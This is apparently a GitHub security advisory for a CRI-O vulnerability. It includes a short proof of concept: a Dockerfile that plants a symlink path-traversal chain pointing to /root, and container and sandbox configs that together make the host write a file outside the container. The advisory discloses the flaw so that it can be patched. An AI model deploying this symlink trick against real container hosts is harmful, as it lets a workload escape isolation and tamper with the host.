Vulnerability from github
Impact
A malicious container can affect the host by taking advantage of code cri-o added to show the container mounts on the host.
A workload built from this Dockerfile: ``` FROM docker.io/library/busybox as source RUN mkdir /extra && cd /extra && ln -s ../../../../../../../../root etc
FROM scratch
COPY --from=source /bin /bin COPY --from=source /lib /lib COPY --from=source /extra .
```
and this container config:
``` { "metadata": { "name": "busybox" }, "image":{ "image": "localhost/test" }, "command": [ "/bin/true" ], "linux": { } }
and this sandbox config
{
"metadata": {
"name": "test-sandbox",
"namespace": "default",
"attempt": 1,
"uid": "edishd83djaideaduwk28bcsb"
},
"linux": {
"security_context": {
"namespace_options": {
"network": 2
}
}
}
}
```
will create a file on host /host/mtab
